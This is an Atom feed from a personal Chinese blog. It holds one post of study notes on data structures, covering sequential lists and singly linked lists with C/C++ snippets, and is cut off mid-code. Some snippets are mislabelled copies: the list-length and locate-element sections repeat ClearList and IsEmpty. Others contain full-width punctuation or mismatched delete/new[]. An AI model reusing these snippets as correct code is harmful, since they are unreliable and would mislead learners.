<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Leon&#39;s blog😽</title>
  
  <subtitle>写些随笔</subtitle>
  <link href="https://foreon.github.io/atom.xml" rel="self"/>
  
  <link href="https://foreon.github.io/"/>
  <updated>2023-12-27T16:55:56.304Z</updated>
  <id>https://foreon.github.io/</id>
  
  <author>
    <name>Leon</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>数据结构与算法笔记</title>
    <link href="https://foreon.github.io/posts/11950.html"/>
    <id>https://foreon.github.io/posts/11950.html</id>
    <published>2023-12-27T16:54:47.000Z</published>
    <updated>2023-12-27T16:55:56.304Z</updated>
    
    <content type="html"><![CDATA[<h1 id="数据结构与算法"><a href="#数据结构与算法" class="headerlink" title="数据结构与算法"></a>数据结构与算法</h1><h2 id="基本概念"><a href="#基本概念" class="headerlink" title="基本概念"></a>基本概念</h2><ul><li>数据(Data) ：是客观事物的符号表示。在计算机科学中指的是所有能输入到计算机中并被计算机程序处理的符号的总称。</li><li>数据元素(Data Element) ：是数据的基本单位，在程序中通常作为一个整体来进行考虑和处理。</li><li>一个数据元素可由若干个数据项(Data Item)组成。数据项是数据的不可分割的最小单位。数据项是对客观事物某一方面特性的数据描述。</li><li>数据对象(Data Object)：是性质相同的数据元素的集合，是数据的一个子集。如字符集合C&#x3D;{’A’,’B’, ‘C’,…} 。</li></ul><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231204234859086.png" alt="image-20231204234859086"></p><h3 id="数据的逻辑结构"><a href="#数据的逻辑结构" class="headerlink" title="数据的逻辑结构"></a>数据的逻辑结构</h3><p><strong>数据结构(Data Structure)<strong>：是指相互之间具有(存在)一定联系(关系)的数据元素的集合。元素之间的相互联系(关系)称为逻辑结构。数据元素之间的</strong>逻辑结构</strong>有四种基本类型，</p><ul><li><strong>集合</strong>：结构中的数据元素除了“同属于一个集合”外，没有其它关系。</li><li><strong>线性结构</strong>：结构中的数据元素之间存在一对一的关系。</li><li><strong>树型结构</strong>：结构中的数据元素之间存在一对多的关系。</li><li><strong>图状结构</strong>：结构中的数据元素之间存在多对多的关系。</li></ul><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231204235102576.png"></p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231204235727339.png" alt="image-20231204235727339"></p><h3 id="数据的存储结构"><a href="#数据的存储结构" class="headerlink" title="数据的存储结构"></a>数据的存储结构</h3><ul><li><strong>顺序存储结构</strong>：用数据元素在存储器中的相对位置来表示数据元素之间的逻辑结构(关系)。</li><li><strong>链式存储结构</strong>：在每一个数据元素中增加一个存放另一个元素地址的指针(pointer)，用该指针来表示数据元素之间的逻辑结构(关系)。</li></ul><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231204235637540.png" alt="image-20231204235637540"></p><h3 id="抽象数据类型ADT"><a href="#抽象数据类型ADT" class="headerlink" title="抽象数据类型ADT"></a>抽象数据类型ADT</h3><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231204235824898.png" alt="image-20231204235824898"></p><h2 id="算法与数据分析"><a href="#算法与数据分析" class="headerlink" title="算法与数据分析"></a>算法与数据分析</h2><p><strong>常量($c$) &lt; 对数($\log_2n$) &lt;$\log_2^2n$ &lt; 线性($n$) &lt; $nlogn$ &lt; 平方($n^2$) &lt;立方($n^3$) &lt; 指数($2^n$) &lt; 阶乘($n!$)</strong></p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231205205707340.png" alt="image-20231205205707340"></p><h2 id="线性表"><a href="#线性表" class="headerlink" title="线性表"></a>线性表</h2><h3 id="顺序表"><a href="#顺序表" class="headerlink" title="顺序表"></a>顺序表</h3><h4 id="顺序表定义"><a href="#顺序表定义" class="headerlink" title="顺序表定义"></a>顺序表定义</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span>  MAXSIZE 100     <span class="comment">//最大长度</span></span></span><br><span class="line"><span class="keyword">typedef</span>  <span class="class"><span class="keyword">struct</span> &#123;</span></span><br><span class="line">  ElemType  *elem;     <span class="comment">//指向数据元素的基地址</span></span><br><span class="line">  <span class="type">int</span>  length;          <span class="comment">//顺序表的当前长度</span></span><br><span class="line">  <span class="type">int</span> listsize;        <span class="comment">//顺序表初始分配的空间大小               </span></span><br><span class="line"> &#125;SqList；</span><br></pre></td></tr></table></figure><h4 id="初始化顺序表"><a href="#初始化顺序表" class="headerlink" title="初始化顺序表"></a>初始化顺序表</h4><p>使用引用</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">InitList_Sq</span><span class="params">(SqList &amp;L)</span>&#123;  <span class="comment">//构造一个空的顺序表L</span></span><br><span class="line">    L.elem=new ElemType[MAXSIZE];   <span class="comment">//为顺序表分配空间</span></span><br><span class="line">    <span class="keyword">if</span>(!L.elem) <span class="built_in">exit</span>(OVERFLOW);       <span class="comment">//存储分配失败</span></span><br><span class="line">    L.length=<span class="number">0</span>;  <span class="comment">//空表长度为0</span></span><br><span class="line">    L.listsize=MAXSIZE;  </span><br><span class="line">    <span class="keyword">return</span> OK;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用指针</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">InitList_Sq</span><span class="params">(SqList *L)</span>&#123;    <span class="comment">//构造一个空的顺序表L</span></span><br><span class="line">    L-&gt; elem=new ElemType[MAXSIZE];   <span class="comment">//为顺序表分配空间</span></span><br><span class="line">    <span class="keyword">if</span>(! L-&gt; elem) <span class="built_in">exit</span>(OVERFLOW);       <span class="comment">//存储分配失败</span></span><br><span class="line">    L-&gt; length=<span class="number">0</span>;              <span class="comment">//空表长度为0</span></span><br><span class="line">    L-&gt; listsize=MAXSIZE;</span><br><span class="line">    <span class="keyword">return</span> OK;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="销毁顺序表"><a href="#销毁顺序表" class="headerlink" title="销毁顺序表"></a>销毁顺序表</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">DestroyList</span><span class="params">(SqList &amp;L)</span>&#123;</span><br><span class="line">  <span class="keyword">if</span> (L.elem) &#123;</span><br><span class="line">      delete L.elem;    <span class="comment">//释放存储空间</span></span><br><span class="line">      L.elem=<span class="literal">NULL</span>;</span><br><span class="line">      L.length=<span class="number">0</span>;</span><br><span class="line">      L.listsize=<span class="number">0</span>;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">return</span> OK;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="清空顺序表"><a href="#清空顺序表" class="headerlink" title="清空顺序表"></a>清空顺序表</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">ClearList</span><span class="params">(SqList &amp;L)</span> </span><br><span class="line">&#123;</span><br><span class="line">   L.length=<span class="number">0</span>;                <span class="comment">//将顺序表的长度置为0</span></span><br><span class="line">   <span class="keyword">return</span> OK;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h4 id="求顺序表长度"><a href="#求顺序表长度" class="headerlink" title="求顺序表长度"></a>求顺序表长度</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">ClearList</span><span class="params">(SqList &amp;L)</span> </span><br><span class="line">&#123;</span><br><span class="line">   L.length=<span class="number">0</span>;                <span class="comment">//将顺序表的长度置为0</span></span><br><span class="line">   <span class="keyword">return</span> OK;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="判断顺序表是否为空"><a href="#判断顺序表是否为空" class="headerlink" title="判断顺序表是否为空"></a>判断顺序表是否为空</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">IsEmpty</span><span class="params">(SqList L)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">if</span> (L.length==<span class="number">0</span>) <span class="keyword">return</span> <span class="number">1</span>;      </span><br><span class="line">   <span class="keyword">else</span> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="获取顺序表的指定元素位置"><a href="#获取顺序表的指定元素位置" class="headerlink" title="获取顺序表的指定元素位置"></a>获取顺序表的指定元素位置</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">IsEmpty</span><span class="params">(SqList L)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">if</span> (L.length==<span class="number">0</span>) <span class="keyword">return</span> <span class="number">1</span>;      </span><br><span class="line">   <span class="keyword">else</span> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="查找指定值的元素位置"><a href="#查找指定值的元素位置" class="headerlink" title="查找指定值的元素位置"></a>查找指定值的元素位置</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">LocateElem</span><span class="params">(SqList L,ElemType e)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">for</span> (i=<span class="number">0</span>;i&lt; L.length;i++)</span><br><span class="line">      <span class="keyword">if</span> (L.elem[i]==e) <span class="keyword">return</span> i+<span class="number">1</span>;                </span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="在顺序表中插入元素"><a href="#在顺序表中插入元素" class="headerlink" title="在顺序表中插入元素"></a>在顺序表中插入元素</h4><p>插入算法主要耗时在移动元素上</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">ListInsert_Sq</span><span class="params">(SqList &amp;L,<span class="type">int</span> i ,ElemType e)</span>&#123;</span><br><span class="line">   <span class="keyword">if</span>(i&lt;<span class="number">1</span> || i&gt;L.length+<span class="number">1</span>) <span class="keyword">return</span> ERROR;         <span class="comment">//i值不合法</span></span><br><span class="line">   <span class="keyword">if</span>(L.length==L.listsize) <span class="keyword">return</span> ERROR;    <span class="comment">//当前存储空间已满     </span></span><br><span class="line">   <span class="keyword">for</span>(j=L.length<span class="number">-1</span>;j&gt;=i<span class="number">-1</span>;j--) </span><br><span class="line">       L.elem[j+<span class="number">1</span>]=L.elem[j];    <span class="comment">//插入位置及之后的元素后移</span></span><br><span class="line">    L.elem[i<span class="number">-1</span>]=e;                     <span class="comment">//将新元素e放入第i个位置</span></span><br><span class="line">    L.length++;     <span class="comment">//表长加1</span></span><br><span class="line">    <span class="keyword">return</span> OK;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="在线性表中删除元素"><a href="#在线性表中删除元素" class="headerlink" title="在线性表中删除元素"></a>在线性表中删除元素</h4><p>同样耗时在移动元素上</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">ListDelete_Sq</span><span class="params">(SqList &amp;L,<span class="type">int</span> i,ElemType &amp;e)</span>&#123;</span><br><span class="line">   <span class="keyword">if</span>((i&lt;<span class="number">1</span>)||(i&gt;L.length)) <span class="keyword">return</span> ERROR; <span class="comment">//i值不合法</span></span><br><span class="line">   e=L.elem[i<span class="number">-1</span>];                              <span class="comment">//将欲删除的元素保留在e中</span></span><br><span class="line">  <span class="keyword">for</span> (j=i;j&lt;=L.length<span class="number">-1</span>;j++)                   </span><br><span class="line">　  　L.elem[j<span class="number">-1</span>]=L.elem[j];       <span class="comment">//被删除元素之后的元素前移  </span></span><br><span class="line">   --L.length;                     <span class="comment">//表长减1</span></span><br><span class="line">  <span class="keyword">return</span> OK;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="顺序表优缺点"><a href="#顺序表优缺点" class="headerlink" title="顺序表优缺点"></a>顺序表优缺点</h4><p>优点：</p><ul><li>存储密度大（结点本身所占存储量&#x2F;结点结构所占存储量）</li><li>可以随机存取表中任一元素</li></ul><p>缺点：</p><ul><li>在插入、删除某一元素时，需要移动大量元素</li><li>浪费存储空间</li><li>属于静态存储形式，数据元素的个数不能自由扩充</li></ul><h4 id="随机存取法"><a href="#随机存取法" class="headerlink" title="随机存取法"></a>随机存取法</h4><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231205003159011.png" alt="image-20231205003159011"></p><h3 id="链表"><a href="#链表" class="headerlink" title="链表"></a>链表</h3><h4 id="头结点"><a href="#头结点" class="headerlink" title="头结点"></a>头结点</h4><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231205003017898.png" alt="image-20231205003017898"></p><p>使用头节点的好处：</p><ul><li>便于首元结点的处理<br>首元结点的地址保存在头结点的指针域中,所以在链表的第一个位置上的操作和其它位置一致，无须进行特殊处理;</li><li>便于空表和非空表的统一处理<br>无论链表是否为空，头指针都是指向头结点的非空指针，因此空表和非空表的处理也就统一了。</li></ul><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231205003118494.png" alt="image-20231205003118494"></p><h4 id="顺序存储法"><a href="#顺序存储法" class="headerlink" title="顺序存储法"></a>顺序存储法</h4><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231205003332750.png"></p><h4 id="链表优缺点"><a href="#链表优缺点" class="headerlink" title="链表优缺点"></a>链表优缺点</h4><p>优点：</p><ul><li>数据元素的个数可以自由扩充</li><li>插入、删除等操作不必移动数据，只需修改链接指针，修改效率较高</li></ul><p>缺点：</p><ul><li>存储密度小</li><li>存取效率不高，必须采用顺序存取，即存取数据元素时，只能按链表的顺序进行访问（顺藤摸瓜）</li></ul><h4 id="单链表定义"><a href="#单链表定义" class="headerlink" title="单链表定义"></a>单链表定义</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">LNode</span>&#123;</span></span><br><span class="line">     ElemType   data;       <span class="comment">//数据域</span></span><br><span class="line">     <span class="class"><span class="keyword">struct</span> <span class="title">LNode</span>  *<span class="title">next</span>;</span>   <span class="comment">//指针域</span></span><br><span class="line">&#125;LNode,*LinkList;   </span><br><span class="line">                <span class="comment">// LinkList为Lnode类型的指针</span></span><br></pre></td></tr></table></figure><h4 id="初始化"><a href="#初始化" class="headerlink" title="初始化"></a>初始化</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">InitList_L</span><span class="params">(LinkList &amp;L)</span>&#123; </span><br><span class="line">   L=new LNode;     </span><br><span class="line">   <span class="keyword">if</span> (!L) <span class="built_in">exit</span>(OVERFLOW);               </span><br><span class="line">   L-&gt;next=<span class="literal">NULL</span>;　　　　　</span><br><span class="line">   <span class="keyword">return</span> OK; </span><br><span class="line">&#125; </span><br></pre></td></tr></table></figure><h4 id="销毁"><a href="#销毁" class="headerlink" title="销毁"></a>销毁</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">DestroyList_L</span><span class="params">(LinkList &amp;L)</span>&#123;</span><br><span class="line">    LinkList p;</span><br><span class="line">       <span class="keyword">while</span>(L)</span><br><span class="line">        &#123;</span><br><span class="line">            p=L;  </span><br><span class="line">            L=L-&gt;next;</span><br><span class="line">            delete p;  </span><br><span class="line">        &#125;</span><br><span class="line">     <span class="keyword">return</span> OK;</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure><p>或者</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">LinkList p = L;</span><br><span class="line">       <span class="keyword">while</span>(p)&#123;</span><br><span class="line">            q = p-&gt;next;</span><br><span class="line">            delete p; </span><br><span class="line">            p=q;  </span><br><span class="line">        &#125;</span><br><span class="line">       L=<span class="literal">NULL</span>;</span><br><span class="line">       <span class="keyword">return</span> OK;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="清空"><a href="#清空" class="headerlink" title="清空"></a>清空</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">ClearList</span><span class="params">(LinkList &amp;L)</span>&#123;<span class="comment">// 将L重置为空表 </span></span><br><span class="line">   LinkList p;</span><br><span class="line">   <span class="keyword">while</span>(L-&gt;next) &#123;               </span><br><span class="line">        p=L-&gt;next; </span><br><span class="line">        L-&gt;next =p-&gt;next; </span><br><span class="line">        delete p; </span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> OK;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>或者</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">LinkList p = L-&gt;next, q;</span><br><span class="line">       <span class="keyword">while</span>(p)&#123;</span><br><span class="line">            q=p-&gt;next;</span><br><span class="line">            delete p; </span><br><span class="line">            p=q;&#125;</span><br><span class="line">       L-&gt;next=<span class="literal">NULL</span>;</span><br><span class="line">       <span class="keyword">return</span> OK;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="求表长"><a href="#求表长" class="headerlink" title="求表长"></a>求表长</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span>  <span class="title function_">ListLength_L</span><span class="params">(LinkList L)</span>&#123;</span><br><span class="line"><span class="comment">//返回L中数据元素个数</span></span><br><span class="line">    LinkList p;</span><br><span class="line">    p=L-&gt;next;         <span class="comment">//p指向第一个结点</span></span><br><span class="line">     j=<span class="number">0</span>;             </span><br><span class="line">     <span class="keyword">while</span>(p)&#123;           <span class="comment">//遍历单链表,统计结点数</span></span><br><span class="line">           j++;</span><br><span class="line">           p=p-&gt;next;    &#125; </span><br><span class="line">    <span class="keyword">return</span> j;                             </span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure><h4 id="判断表是否为空"><a href="#判断表是否为空" class="headerlink" title="判断表是否为空"></a>判断表是否为空</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">ListEmpty</span><span class="params">(LinkList L)</span>&#123; </span><br><span class="line"><span class="comment">//若L为空表，则返回1，否则返回0 </span></span><br><span class="line">   <span class="keyword">if</span>(L-&gt;next)   <span class="comment">//非空 </span></span><br><span class="line">     <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">   <span class="keyword">else</span></span><br><span class="line">     <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure><h4 id="获取表中第n个元素"><a href="#获取表中第n个元素" class="headerlink" title="获取表中第n个元素"></a>获取表中第n个元素</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">GetElem_L</span><span class="params">(LinkList L,<span class="type">int</span> i,ElemType &amp;e)</span>&#123; </span><br><span class="line">    p=L-&gt;next;j=<span class="number">1</span>; <span class="comment">//初始化</span></span><br><span class="line">     <span class="keyword">while</span>(p&amp;&amp;j&lt;i)&#123;<span class="comment">//向后扫描，直到p指向第i个元素或p为空</span></span><br><span class="line">       p=p-&gt;next; ++j;                           </span><br><span class="line">     &#125; </span><br><span class="line">     <span class="keyword">if</span>(!p || j&gt;i)<span class="keyword">return</span> ERROR; <span class="comment">//第i个元素不存在 </span></span><br><span class="line">     e=p-&gt;data; <span class="comment">//取第i个元素 </span></span><br><span class="line">     <span class="keyword">return</span> OK; </span><br><span class="line">&#125;<span class="comment">//GetElem_L </span></span><br></pre></td></tr></table></figure><h4 id="获取表中值为e的元素"><a href="#获取表中值为e的元素" class="headerlink" title="获取表中值为e的元素"></a>获取表中值为e的元素</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">LNode *<span class="title function_">LocateElem_L</span> <span class="params">(LinkList L，Elemtype e)</span> &#123; </span><br><span class="line">  p=L-&gt;next; </span><br><span class="line">  <span class="keyword">while</span>(p &amp;&amp;p-&gt;data!=e)  </span><br><span class="line">        p=p-&gt;next;                </span><br><span class="line">  <span class="keyword">return</span> p; <span class="comment">//返回L中值为e的数据元素的位置，查找失败返回NULL </span></span><br><span class="line">&#125; </span><br></pre></td></tr></table></figure><h4 id="插入元素"><a href="#插入元素" class="headerlink" title="插入元素"></a>插入元素</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">ListInsert_L</span><span class="params">(LinkList &amp;L,<span class="type">int</span> i,ElemType e)</span>&#123; </span><br><span class="line">     p=L;j=<span class="number">0</span>; </span><br><span class="line">      <span class="keyword">while</span>(p&amp;&amp;j&lt;i−<span class="number">1</span>)&#123;p=p-&gt;next;++j;&#125;<span class="comment">//寻找第i−1个结点 </span></span><br><span class="line">      <span class="keyword">if</span>(!p||j&gt;i−<span class="number">1</span>)<span class="keyword">return</span> ERROR;<span class="comment">//i大于表长 + 1或者小于1  </span></span><br><span class="line">      s=new LNode;<span class="comment">//生成新结点s </span></span><br><span class="line">      s-&gt;data=e;                 <span class="comment">//将结点s的数据域置为e </span></span><br><span class="line">      s-&gt;next=p-&gt;next;             <span class="comment">//将结点s插入L中 </span></span><br><span class="line">      p-&gt;next=s; </span><br><span class="line">      <span class="keyword">return</span> OK; </span><br><span class="line">&#125;<span class="comment">//ListInsert_L </span></span><br></pre></td></tr></table></figure><p>若无头节点</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">ListInsert_L</span><span class="params">(LinkList &amp;L,<span class="type">int</span> i,ElemType e)</span>&#123; </span><br><span class="line">    <span class="comment">//添加这一段-----------------------------------------</span></span><br><span class="line">      <span class="keyword">if</span>(!L&amp;&amp;i!=<span class="number">1</span>)  <span class="keyword">return</span> ERROR;</span><br><span class="line">      <span class="keyword">if</span>(i==<span class="number">1</span>) &#123;</span><br><span class="line">           s=new LNode; s-&gt;data=e; s-&gt;next=L; L=s;  <span class="keyword">return</span>  OK;&#125;</span><br><span class="line">    <span class="comment">//--------------------------------------------------</span></span><br><span class="line">      p=L;j=<span class="number">1</span>; </span><br><span class="line">      <span class="keyword">while</span>(p&amp;&amp;j&lt;i−<span class="number">1</span>)&#123;p=p-&gt;next;++j;&#125;<span class="comment">//寻找第i−1个结点 </span></span><br><span class="line">      <span class="keyword">if</span>(!p||j&gt;i−<span class="number">1</span>)<span class="keyword">return</span> ERROR;<span class="comment">//i大于表长 + 1或者小于1  </span></span><br><span class="line">      s=new LNode;<span class="comment">//生成新结点s </span></span><br><span class="line">      s-&gt;data=e;                 <span class="comment">//将结点s的数据域置为e </span></span><br><span class="line">      s-&gt;next=p-&gt;next;             <span class="comment">//将结点s插入L中 </span></span><br><span class="line">      p-&gt;next=s; </span><br><span class="line">      <span class="keyword">return</span> OK; </span><br><span class="line">&#125;<span class="comment">//ListInsert_L </span></span><br></pre></td></tr></table></figure><h4 id="删除元素"><a href="#删除元素" class="headerlink" title="删除元素"></a>删除元素</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">ListDelete_L</span><span class="params">(LinkList &amp;L,<span class="type">int</span> i,ElemType &amp;e)</span>&#123;</span><br><span class="line">    p=L;j=<span class="number">0</span>; </span><br><span class="line">    <span class="keyword">while</span>(p-&gt;next &amp;&amp;j&lt;i<span class="number">-1</span>)&#123;<span class="comment">//寻找第i个结点，并令p指向其前驱 </span></span><br><span class="line">        p=p-&gt;next; ++j; &#125; </span><br><span class="line">    <span class="keyword">if</span>(!(p-&gt;next)||j&gt;i<span class="number">-1</span>) <span class="keyword">return</span> ERROR; <span class="comment">//删除位置不合理 </span></span><br><span class="line">    q=p-&gt;next; <span class="comment">//临时保存被删结点的地址以备释放 </span></span><br><span class="line">    p-&gt;next=q-&gt;next; <span class="comment">//改变删除结点前驱结点的指针域 </span></span><br><span class="line">    e=q-&gt;data; <span class="comment">//保存删除结点的数据域 </span></span><br><span class="line">    delete q; <span class="comment">//释放删除结点的空间 </span></span><br><span class="line"> <span class="keyword">return</span> OK; </span><br><span class="line">&#125;<span class="comment">//ListDelete_L </span></span><br></pre></td></tr></table></figure><p>若无头结点</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">ListDelete_L</span><span class="params">(LinkList &amp;L,<span class="type">int</span> i,ElemType &amp;e)</span>&#123;</span><br><span class="line">    <span class="keyword">if</span>(!L)  <span class="keyword">return</span> ERROR;</span><br><span class="line">    <span class="keyword">if</span>(i==<span class="number">1</span>) &#123;p=L; L=L-&gt;next; delete p; <span class="keyword">return</span> OK;&#125;</span><br><span class="line">    p=L;j=<span class="number">1</span>; </span><br><span class="line">    <span class="keyword">while</span>(p-&gt;next &amp;&amp;j&lt;i<span class="number">-1</span>)&#123;p=p-&gt;next; 